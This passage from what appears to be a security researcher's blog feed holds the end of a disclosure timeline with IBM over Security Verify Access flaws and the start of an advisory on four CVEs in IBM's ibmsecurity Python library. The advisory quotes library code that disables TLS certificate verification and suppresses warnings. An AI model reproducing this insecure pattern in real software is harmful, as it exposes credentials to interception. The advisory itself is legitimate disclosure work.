<li>Feb 28, 2024: I asked IBM to clarify where in the documentation specified that the runtime should not be exposed. For example, in <a href="https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime">https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime</a>, it was not explained that exposing this runtime on the network was a high security risk.</li>
<li>Mar 4, 2024: Regarding the vulnerabilities found in ibmsecurity, IBM said that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.</li>
<li>Mar 8, 2024: IBM confirmed they were able to reproduce the authentication bypass vulnerability.</li>
<li>Mar 12, 2024: IBM confirmed they would add an optional MTLS authentication in the next release (10.0.8) and they would update the ISVA documentation to block any attempt of the authentication bypass vulnerability.</li>
<li>Mar 29, 2024: IBM published a new security bulletin: <a href="https://www.ibm.com/support/pages/node/7145400">https://www.ibm.com/support/pages/node/7145400</a>.</li>
<li>Mar 29, 2024: IBM confirmed that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.</li>
<li>Apr 1, 2024: Creation of <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a>.</li>
<li>Apr 2, 2024: IBM confirmed the reception of the report <a href="https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397">https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397</a>.</li>
<li>Apr 3, 2024: <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a> was entirely redacted by IBM.</li>
<li>Apr 5, 2024: I asked if the vulnerabilities would be patched in the <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">#416 issue</a>.</li>
<li>Apr 6, 2024: Issue <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">#416</a> closed.</li>
<li>Apr 6, 2024: I added again the content of <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a> and asked if CVEs would be published.</li>
<li>Apr 10, 2024: Security bulletin for ibm security published: <a href="https://www.ibm.com/support/pages/node/7147932">https://www.ibm.com/support/pages/node/7147932</a>.</li>
<li>Apr 10, 2024: I reached IBM regarding a new security bulletin, with a potential vulnerability I reported <a href="https://www.ibm.com/support/pages/node/7145828">https://www.ibm.com/support/pages/node/7145828</a>.</li>
<li>Apr 10, 2024: IBM said this security bulletin was unrelated to the vulnerabilities I reported.</li>
<li>Apr 15, 2024: IBM confirmed that the final vulnerabilities would be fixed in ISVA 10.0.8.</li>
<li>Apr 15, 2024: I provided a list of unfixed vulnerabilities and asked for more information.</li>
<li>Apr 16, 2024: IBM confirmed that all the unfixed vulnerabilities would be fixed in ISVA 10.0.8 and asked to close the ticket.</li>
<li>Apr 16, 2024: I confirmed that this ticket can be closed only when the security patches are available.</li>
<li>Apr 16, 2024: IBM confirmed they wanted to close the ticket because nothing would be updated before mid-2024.</li>
<li>Apr 17, 2024: I replied that "It makes no sense to close this ticket until the vulnerabilities have been fixed. The fact that the vulnerabilities are fixed mid-year is a decision made by IBM. IBM was made aware of these vulnerabilities over a year ago, and yet we are still waiting for security patches. If this ticket is closed, I would consider that the vulnerabilities have been fixed and it is perfectly fine to publish the technical analysis."</li>
<li>May 6, 2024: IBM closed the existing ticket and opened new tickets for the remaining vulnerabilities.</li>
<li>May 6, 2024: I contacted IBM PSIRT asking if it was fine to publish the vulnerabilities since the ticket was closed by IBM.</li>
<li>May 7, 2024: I reopened the ticket stating that some of the patched vulnerabilities did not receive a CVE and there were also some unpatched vulnerabilities. I asked IBM to provide me with the CVE assigned to each vulnerability. I also asked IBM to confirm that, since this ticket had been closed by IBM, all the vulnerabilities had been fixed and that I would be able to publish the technical details.</li>
<li>May 8, 2024: IBM said they would review the list of vulnerabilities.</li>
<li>May 10, 2024: IBM PSIRT asked me not to publish technical details of unpatched vulnerabilities.</li>
<li>May 17, 2024: IBM provided me with an incomplete list of CVEs, with different vulnerabilities under the same CVE identifier and asked to close the ticket.</li>
<li>May 20, 2024: IBM asked for my comments on the list of CVEs.</li>
<li>May 20, 2024: I confirmed that several CVEs were missing and the list was incomplete.</li>
<li>May 21, 2024: IBM provided me with an explanation regarding the missing CVEs.</li>
<li>May 21, 2024: I asked IBM to quote their explanation in the security advisory.</li>
<li>May 21, 2024: IBM asked to have a meeting.</li>
<li>May 22, 2024: I replied that I would prefer written communication since it was very difficult to track the status of the vulnerabilities with (1) CVEs obtained only several months after the release of security bulletins, (2) tickets closed by IBM for unpatched vulnerabilities, (3) vulnerabilities in ibmsecurity which could be corrected by IBM and which could then no longer be managed by IBM, and (4) missing CVEs.</li>
<li>May 22, 2024: IBM asked to have a meeting to remove any confusion.</li>
<li>May 23, 2024: I replied that there's not much confusion except missing CVEs for silently patched vulnerabilities and lack of communication from IBM when releasing security patches. I asked IBM to share the CVEs with the corresponding vulnerabilities and indicate the security bulletins with the list of corresponding vulnerabilities.</li>
<li>May 24, 2024: IBM stated they would provide me with additional CVEs.</li>
<li>May 30, 2024: I confirmed that the creation of additional CVEs is fair.</li>
<li>Jun 2, 2024: IBM confirmed 3 new CVEs in a new security bulletin: <a href="https://www.ibm.com/support/pages/node/7155356">https://www.ibm.com/support/pages/node/7155356</a>.</li>
<li>Jun 3, 2024: I asked IBM the release date of the 10.0.8 version.</li>
<li>Jun 3, 2024: IBM confirmed that the exact date was not yet decided.</li>
<li>Jun 6, 2024: IBM asked if I had comments about the remaining vulnerabilities.</li>
<li>Jun 8, 2024: I asked IBM the status of a previously patched vulnerability.</li>
<li>Jun 10, 2024: IBM confirmed that this vulnerability had not been previously patched and would be patched in the 10.0.8 release.</li>
<li>Jun 11, 2024: IBM asked to create separate cases for the remaining vulnerabilities.</li>
<li>Jun 19, 2024: IBM asked if I needed assistance.</li>
<li>Jun 23, 2024: IBM confirmed that the 10.0.8 version was released and that they would close the ticket tracking the vulnerabilities.</li>
<li>Jun 26, 2024: I asked IBM to provide the corresponding CVEs and the link of the security bulletin.</li>
<li>Jun 27, 2024: IBM provided me with the link to the security bulletin: <a href="https://www.ibm.com/support/pages/node/7158790">https://www.ibm.com/support/pages/node/7158790</a> and said that the 10.0.8 version was released with all the patched vulnerabilities. IBM closed the ticket.</li>
<li>Jul 3, 2024: I reopened the ticket and asked IBM to provide me with the list of vulnerabilities with the corresponding CVEs since I was not able to correctly map the CVEs to the vulnerabilities I reported.</li>
<li>Jul 8, 2024: IBM provided me with the list of CVEs. IBM closed the ticket.</li>
<li>Sep 7, 2024: I sent an email to IBM PSIRT stating that I was going to publish the security advisory and that some CVEs were still missing. I also stated that CVE-2023-38371 seemed to be an error since it was confirmed not to be a vulnerability according to our previous email exchanges.</li>
<li>Sep 9, 2024: I asked IBM to provide me with an official link regarding the runtime authentication bypass, to publish it in the security advisory.</li>
<li>Sep 13, 2024: IBM PSIRT provided me with (1) links regarding the runtime authentication bypass and (2) additional CVEs. They also confirmed that at least one vulnerability was not fixed and asked me not to disclose this finding until it was patched. No information was provided when this vulnerability would be patched.</li>
<li>Nov 1, 2024: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html">https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt">https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html">https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-ibmsecurity.txt">https://pierrekim.github.io/advisories/2024-ibmsecurity.txt</a></p>
<p><a href="https://www.ibm.com/support/pages/node/7106586">https://www.ibm.com/support/pages/node/7106586</a></p>
<p><a href="https://www.ibm.com/support/pages/node/7145400">https://www.ibm.com/support/pages/node/7145400</a></p>
<p><a href="https://www.ibm.com/support/pages/node/7155356">https://www.ibm.com/support/pages/node/7155356</a></p>
<p><a href="https://www.ibm.com/support/pages/node/7158790">https://www.ibm.com/support/pages/node/7158790</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>4 vulnerabilities in ibmsecurity</title>
        <link href="2024-11-01-ibmsecurity-4-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>This repository contains Python code to manage IBM Security Appliances using their respective REST APIs. ISAM appliance has the most mature code.</p>
<p>From <a href="https://github.com/IBM-Security/ibmsecurity">https://github.com/IBM-Security/ibmsecurity</a></p>
</blockquote>
<h2>Vulnerability Summary</h2>
<p>Vulnerable versions: ibmsecurity &lt; v2024.4.5.</p>
<p>The summary of the vulnerabilities is as follows:</p>
<ol>
<li><a href="#insecure-communications-1">CVE-2024-31871 - Insecure communications 1/2</a></li>
<li><a href="#insecure-communications-2">CVE-2024-31872 - Insecure communications 2/2</a></li>
<li><a href="#hardcoded-passwords">CVE-2024-31873 - Hardcoded passwords</a></li>
<li><a href="#uninitialized-variables">CVE-2024-31874 - Uninitialized variables</a></li>
</ol>
<p>TL;DR: An attacker located on the network can MITM TLS connections to IBM Security Verify Access (ISVA) appliances, recover credentials and compromise the entire IBM Security Verify Access infrastructure. IBM Security Verify Access is a SSO solution mainly used by banks, Fortune 500 companies and governmental entities.</p>
<p><em>Miscellaneous notes</em>:</p>
<p>The vulnerabilities were found in February 2023 and were communicated to IBM in March 2023. They ultimately were patched in April 2024 (after 13 months).</p>
<p>Communication with IBM was difficult. At first, IBM support had confirmed that they would patch the vulnerabilities found in the ibmsecurity library. Then, in April 2024, IBM advised that the only way to get security patches is to go Full-disclosure and open a github issue containing all technical details. Although this was unusual, I created a github issue, which <a href="https://github.com/IBM-Security/ibmsecurity/issues/416">was subsequently redacted by IBM</a>.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise the entire authentication infrastructure based on IBM Security Verify Access by intercepting admin credentials on the network.</p>
<p><em>Recommendations</em></p>
<ul>
<li>Apply security patches.</li>
<li>Enable certificate validation (not enabled by default).</li>
</ul>
<p><a id="insecure-communications-1"></a></p>
<h2>Details - Insecure communications 1/2</h2>
<p>The ibmsecurity package has been partially audited as it provides the underlying Python APIs used to communicate with IBM Security Verify Access (ISVA).</p>
<p>Unfortunately, the security of the ibmsecurity package is very poor and, by default, all the SSL/TLS connections to the remote ISVA server are configured in an insecure way.</p>
<p>The latest version of the ibmsecurity library (<code>ibmsecurity-2022.8.22.0</code>) has been downloaded using pip in order for the source code to be reviewed:</p>
<pre><code>kali% pip download ibmsecurity
Collecting ibmsecurity
Using cached ibmsecurity-2022.8.22.0-py3-none-any.whl (391 kB)
Collecting requests
Using cached requests-2.28.1-py3-none-any.whl (62 kB)
Collecting charset-normalizer&lt;3,&gt;=2
Using cached charset_normalizer-2.1.1-py3-none-any.whl (39 kB)
Collecting urllib3&lt;1.27,&gt;=1.21.1
Using cached urllib3-1.26.12-py2.py3-none-any.whl (140 kB)
Collecting certifi&gt;=2017.4.17
Using cached certifi-2022.9.24-py3-none-any.whl (161 kB)
Collecting idna&lt;4,&gt;=2.5
Using cached idna-3.4-py3-none-any.whl (61 kB)
Saved ./ibmsecurity-2022.8.22.0-py3-none-any.whl
Saved ./requests-2.28.1-py3-none-any.whl
Saved ./certifi-2022.9.24-py3-none-any.whl
Saved ./charset_normalizer-2.1.1-py3-none-any.whl
Saved ./idna-3.4-py3-none-any.whl
Saved ./urllib3-1.26.12-py2.py3-none-any.whl
Successfully downloaded ibmsecurity requests certifi charset-normalizer idna urllib3
kali%
</code></pre>
<p>The <code>invoke_*</code> functions in the ibmsecurity library will use by default the <code>_suppress_ssl_warning()</code> method that will remove any security related to SSL/TLS.</p>
<p>For example, the method <code>invoke_put()</code> is defined in the file <code>ibmsecurity/appliance/isamappliance.py</code>, as shown below on line 402:</p>
<p>Content of <code>ibmsecurity/appliance/isamappliance.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">requests.packages.urllib3.exceptions</span> <span style="color: #008000; font-weight: bold">import</span> InsecureRequestWarning
<span style="color: #666666">...</span>
 <span style="color: #666666">17</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">ISAMAppliance</span>(IBMAppliance):
<span style="color: #666666">...</span>
 <span style="color: #666666">45</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_suppress_ssl_warning</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">46</span>         <span style="color: #408080; font-style: italic"># Disable https warning because of non-standard certs on appliance</span>
 <span style="color: #666666">47</span>         <span style="color: #008000; font-weight: bold">try</span>:
 <span style="color: #666666">48</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>logger<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&quot;Suppressing SSL Warnings.&quot;</span>)
 <span style="color: #666666">49</span>             requests<span style="color: #666666">.</span>packages<span style="color: #666666">.</span>urllib3<span style="color: #666666">.</span>disable_warnings(InsecureRequestWarning) <span style="color: #408080; font-style: italic"># [1] &lt;- !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</span>
 <span style="color: #666666">50</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">AttributeError</span>:
 <span style="color: #666666">51</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>logger<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;load requests.packages.urllib3.disable_warnings() failed&quot;</span>)
<span style="color: #666666">...</span>
<span style="color: #666666">402</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">invoke_put</span>(<span style="color: #008000">self</span>, description, uri, data, ignore_error<span style="color: #666666">=</span><span style="color: #008000">False</span>, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>, requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">403</span>                    warnings<span style="color: #666666">=</span>[], requires_model<span style="color: #666666">=</span><span style="color: #008000">None</span>):
<span style="color: #666666">404</span>         <span style="color: #BA2121">&quot;&quot;&quot; </span>
<span style="color: #BA2121">405         Send a PUT request to the LMI.</span>
<span style="color: #BA2121">406         &quot;&quot;&quot;</span> 
<span style="color: #666666">407</span> 
<span style="color: #666666">408</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_log_request(<span style="color: #BA2121">&quot;PUT&quot;</span>, uri, description)
<span style="color: #666666">409</span>         response <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>_invoke_request(<span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>put, description, uri,
<span style="color: #666666">410</span>                                         ignore_error, data,
<span style="color: #666666">411</span>                                         requires_modules<span style="color: #666666">=</span>requires_modules, requires_version<span style="color: #666666">=</span>requires_version,
<span style="color: #666666">412</span>                                         requires_model<span style="color: #666666">=</span>requires_model, warnings<span style="color: #666666">=</span>warnings)
<span style="color: #666666">413</span>         <span style="color: #008000; font-weight: bold">return</span> response
<span style="color: #666666">...</span>
</pre></div>

<p>The method <code>_invoke_request()</code> called on line 409 inside the <code>invoke_put()</code> method will disable any SSL/TLS security on line 334 by calling the method <code>_suppress_ssl_warning()</code> previously defined on line 45:</p>
<p>Content of <code>ibmsecurity/appliance/isamappliance.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">305</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_invoke_request</span>(<span style="color: #008000">self</span>, func, description, uri, ignore_error, data<span style="color: #666666">=</span>{}, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">306</span>                         requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>, warnings<span style="color: #666666">=</span>[], requires_model<span style="color: #666666">=</span><span style="color: #008000">None</span>):
<span style="color: #666666">307</span>         <span style="color: #BA2121">&quot;&quot;&quot;</span>
<span style="color: #BA2121">308         Send a request to the LMI.  This function is private and should not be</span>
<span style="color: #BA2121">309         used directly.  The invoke_get/invoke_put/etc functions should be used instead.</span>
<span style="color: #BA2121">310         &quot;&quot;&quot;</span>
<span style="color: #666666">...</span>
<span style="color: #666666">334</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_suppress_ssl_warning() <span style="color: #408080; font-style: italic"># &lt;- insecure SSL/TLS connection to the remote ISVA instance</span>
<span style="color: #666666">...</span>
<span style="color: #666666">336</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">337</span>             <span style="color: #008000; font-weight: bold">if</span> func <span style="color: #666666">==</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>get <span style="color: #AA22FF; font-weight: bold">or</span> func <span style="color: #666666">==</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>delete:
<span style="color: #666666">338</span>             
<span style="color: #666666">339</span>                 <span style="color: #008000; font-weight: bold">if</span> data <span style="color: #666666">!=</span> {}:
<span style="color: #666666">340</span>                     r <span style="color: #666666">=</span> func(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri), data<span style="color: #666666">=</span>json_data, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
<span style="color: #666666">341</span>                 <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">342</span>                     r <span style="color: #666666">=</span> func(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri), verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
<span style="color: #666666">343</span>             <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">344</span>                 r <span style="color: #666666">=</span> func(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri), data<span style="color: #666666">=</span>json_data,
<span style="color: #666666">345</span>                          verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
<span style="color: #666666">346</span> 
<span style="color: #666666">347</span>             <span style="color: #008000; font-weight: bold">if</span> func <span style="color: #666666">!=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>get:
<span style="color: #666666">348</span>                 return_obj[<span style="color: #BA2121">&#39;changed&#39;</span>] <span style="color: #666666">=</span> <span style="color: #008000">True</span>  <span style="color: #408080; font-style: italic"># Anything but GET should result in change</span>
<span style="color: #666666">349</span> 
<span style="color: #666666">350</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>_process_response(return_obj<span style="color: #666666">=</span>return_obj, http_response<span style="color: #666666">=</span>r, ignore_error<span style="color: #666666">=</span>ignore_error)
<span style="color: #666666">...</span>
</pre></div>

<p>Execution flow: The <code>invoke_put()</code> method is defined on the line 402 of the <code>ibmsecurity/appliance/isamappliance.py</code> file. This method will then use the <code>_invoke_request()</code> method, defined on line 305. This <code>_invoke_request()</code> method will call the <code>suppress_ssl_warning()</code> method on line 334. The <code>suppress_ssl_warning()</code> method is defined on line 45: any security related to SSL/TLS will be then removed.</p>
<p>These methods defined in <code>ibmsecurity/appliance/isamappliance.py</code> are insecure:</p>
<ul>
<li>invoke_post_files (line 148)</li>
<li>invoke_put_files (line 203)</li>
<li>invoke_get_file (line 246)</li>
<li>_invoke_request (line 305)</li>
<li>_invoke_request_with_headers (line 355)</li>
<li>invoke_post_snapshot_id (line 427)</li>
<li>invoke_request (line 516)</li>
</ul>
<p>These methods defined in <code>ibmsecurity/appliance/isdsappliance.py</code> are also insecure:</p>
<ul>
<li>invoke_post_files (line 135)</li>
<li>invoke_put_files (line 184)</li>
<li>invoke_get_file (line 228)</li>
<li>_invoke_request (line 288)</li>
</ul>
<p>In the <code>ibmsecurity/appliance/isdsappliance.py</code> Python file, we can find again the same <code>suppress_ssl_warning()</code> method which is also used by other methods (e.g. <code>invoke_post_files()</code> as shown below):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">requests.packages.urllib3.exceptions</span> <span style="color: #008000; font-weight: bold">import</span> InsecureRequestWarning
<span style="color: #666666">...</span>
 <span style="color: #666666">17</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">ISDSAppliance</span>(IBMAppliance):
<span style="color: #666666">...</span>
 <span style="color: #666666">39</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_suppress_ssl_warning</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">40</span>         <span style="color: #408080; font-style: italic"># Disable https warning because of non-standard certs on appliance</span>
 <span style="color: #666666">41</span>         <span style="color: #008000; font-weight: bold">try</span>:
 <span style="color: #666666">42</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>logger<span style="color: #666666">.</span>debug(<span style="color: #BA2121">&quot;Suppressing SSL Warnings.&quot;</span>)
 <span style="color: #666666">43</span>             requests<span style="color: #666666">.</span>packages<span style="color: #666666">.</span>urllib3<span style="color: #666666">.</span>disable_warnings(InsecureRequestWarning)
 <span style="color: #666666">44</span>         <span style="color: #008000; font-weight: bold">except</span> <span style="color: #D2413A; font-weight: bold">AttributeError</span>:
 <span style="color: #666666">45</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>logger<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;load requests.packages.urllib3.disable_warnings() failed&quot;</span>)
<span style="color: #666666">...</span>
<span style="color: #666666">135</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">invoke_post_files</span>(<span style="color: #008000">self</span>, description, uri, fileinfo, data, ignore_error<span style="color: #666666">=</span><span style="color: #008000">False</span>, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">136</span>                           requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>, warnings<span style="color: #666666">=</span>[], json_response<span style="color: #666666">=</span><span style="color: #008000">True</span>):
<span style="color: #666666">...</span>
<span style="color: #666666">166</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_suppress_ssl_warning()
<span style="color: #666666">167</span> 
<span style="color: #666666">168</span>         <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">169</span>             r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>post(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri<span style="color: #666666">=</span>uri), data<span style="color: #666666">=</span>data, auth<span style="color: #666666">=</span>(<span style="color: #008000">self</span><span style="color: #666666">.</span>user<span style="color: #666666">.</span>username, <span style="color: #008000">self</span><span style="color: #666666">.</span>user<span style="color: #666666">.</span>password),
<span style="color: #666666">170</span>                               files<span style="color: #666666">=</span>files, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
<span style="color: #666666">171</span>             return_obj[<span style="color: #BA2121">&#39;changed&#39;</span>] <span style="color: #666666">=</span> <span style="color: #008000">True</span>  <span style="color: #408080; font-style: italic"># POST of file would be a change</span>
<span style="color: #666666">172</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>_process_response(return_obj<span style="color: #666666">=</span>return_obj, http_response<span style="color: #666666">=</span>r, ignore_error<span style="color: #666666">=</span>ignore_error)
<span style="color: #666666">...</span>
</pre></div>

<p>These methods are used everywhere in the ibmsecurity library to communicate with the remote ISVA infrastructure. 1162 calls to insecure methods have been identified:</p>
<pre><code>kali% rgrep invoke_ ibmsecurity
ibmsecurity/isds/server.py: return isdsAppliance.invoke_get("Retrieving Server Status", "/widgets/server")
ibmsecurity/isds/server.py: return isdsAppliance.invoke_post("Restarting the service " + serverID,
ibmsecurity/isds/server.py: return isdsAppliance.invoke_post("Restarting the service " + serverID,
ibmsecurity/isds/server.py: return isdsAppliance.invoke_post("Restarting the service " + serverID,
ibmsecurity/isds/server.py: return isdsAppliance.invoke_post("Restarting the service " + serverID,
ibmsecurity/isds/available_updates.py: return isdsAppliance.invoke_get("Retrieving available updates",
ibmsecurity/isds/available_updates.py: return isdsAppliance.invoke_get("Discover available updates",
ibmsecurity/isds/available_updates.py: return isdsAppliance.invoke_post_files(
ibmsecurity/isds/available_updates.py: ret_obj = isdsAppliance.invoke_post("Install Available Update",
ibmsecurity/isds/fixpack.py: return isdsAppliance.invoke_get("Retrieving fixpacks",
ibmsecurity/isds/fixpack.py: return isdsAppliance.invoke_post_files(
[...]
kali% rgrep invoke_ ibmsecurity | wc -l
1162
kali%
</code></pre>
<p>The ibmsecurity Python library massively uses insecure methods to communicate with the remote ISVA infrastructure, with 1162 calls to insecure functions.</p>
<p><a id="insecure-communications-2"></a></p>
<h2>Details - Insecure communications 2/2</h2>
<p>The ibmsecurity package has been partially audited as it provides the underlying Python APIs used to communicate with IBM Security Verify Access (ISVA).</p>
<p>Unfortunately, the security of the ibmsecurity package is very poor, and, by default, all the SSL/TLS connections to the remote ISVA server are insecure due to the insecure option (<code>Verify=false</code>) used with the methods provided by the <code>requests</code> module (to send HTTPS requests to the remote ISVA infrastructure).</p>
<p>For example, the method <code>invoke_post_snapshot_id()</code> will use <code>Verify=false</code> in the HTTPS request on line 455 to disable any verification of the remote SSL certificate (in addition to the previous insecure <code>_suppress_ssl_warning()</code> method found in <a href="#insecure-communications-1">Insecure communications 1/2</a>).</p>
<p>Content of <code>ibmsecurity/appliance/isamappliance.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">429</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">invoke_post_snapshot_id</span>(<span style="color: #008000">self</span>, description, uri, data, ignore_error<span style="color: #666666">=</span><span style="color: #008000">False</span>, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">430</span>                                 requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>, warnings<span style="color: #666666">=</span>[], requires_model<span style="color: #666666">=</span><span style="color: #008000">None</span>):
<span style="color: #666666">431</span>         <span style="color: #BA2121">&quot;&quot;&quot; </span>
<span style="color: #BA2121">432         Send a POST request to the LMI.  Snapshot id is part of the uri.</span>
<span style="color: #BA2121">433         Requires different headers to normal post.</span>
<span style="color: #BA2121">434         &quot;&quot;&quot;</span> 
<span style="color: #666666">...</span>
<span style="color: #666666">452</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_suppress_ssl_warning()
<span style="color: #666666">453</span>
<span style="color: #666666">454</span>         <span style="color: #008000; font-weight: bold">try</span>:                                                       <span style="color: #408080; font-style: italic"># VVVVVVVVVVVV</span>
<span style="color: #666666">455</span>             r <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>session<span style="color: #666666">.</span>post(url<span style="color: #666666">=</span><span style="color: #008000">self</span><span style="color: #666666">.</span>_url(uri<span style="color: #666666">=</span>uri), data<span style="color: #666666">=</span>data, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, headers<span style="color: #666666">=</span>headers)
<span style="color: #666666">456</span>             return_obj[<span style="color: #BA2121">&#39;changed&#39;</span>] <span style="color: #666666">=</span> <span style="color: #008000">False</span>  <span style="color: #408080; font-style: italic"># POST of snapshot id would not be a change</span>
<span style="color: #666666">457</span>             <span style="color: #008000">self</span><span style="color: #666666">.</span>_process_response(return_obj<span style="color: #666666">=</span>return_obj, http_response<span style="color: #666666">=</span>r, ignore_error<span style="color: #666666">=</span>ignore_error)
<span style="color: #666666">...</span>
</pre></div>

<p>Similar vulnerabilities can be found everywhere in the Python sources.</p>
<p>For example, in the method <code>invoke_request()</code> inside <code>ibmsecurity/appliance/isamappliance.py</code> and <code>invoke_get_file()</code> inside <code>ibmsecurity/appliance/isdsappliance.py</code>:</p>
<p>Content of <code>ibmsecurity/appliance/isamappliance.py</code> (line 555):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">...</span>
<span style="color: #666666">518</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">invoke_request</span>(<span style="color: #008000">self</span>, description, method, uri, filename<span style="color: #666666">=</span><span style="color: #008000">None</span>, ignore_error<span style="color: #666666">=</span><span style="color: #008000">False</span>, requires_modules<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">519</span>                        requires_version<span style="color: #666666">=</span><span style="color: #008000">None</span>,
<span style="color: #666666">520</span>                        warnings<span style="color: #666666">=</span>[], requires_model<span style="color: #666666">=</span><span style="color: #008000">None</span>, <span style="color: #666666">**</span>kwargs):
<span style="color: #666666">...</span>
<span style="color: #666666">551</span>         <span style="color: #008000">self</span><span style="color: #666666">.</span>_suppress_ssl_warning()
<span style="color: #666666">...</span>
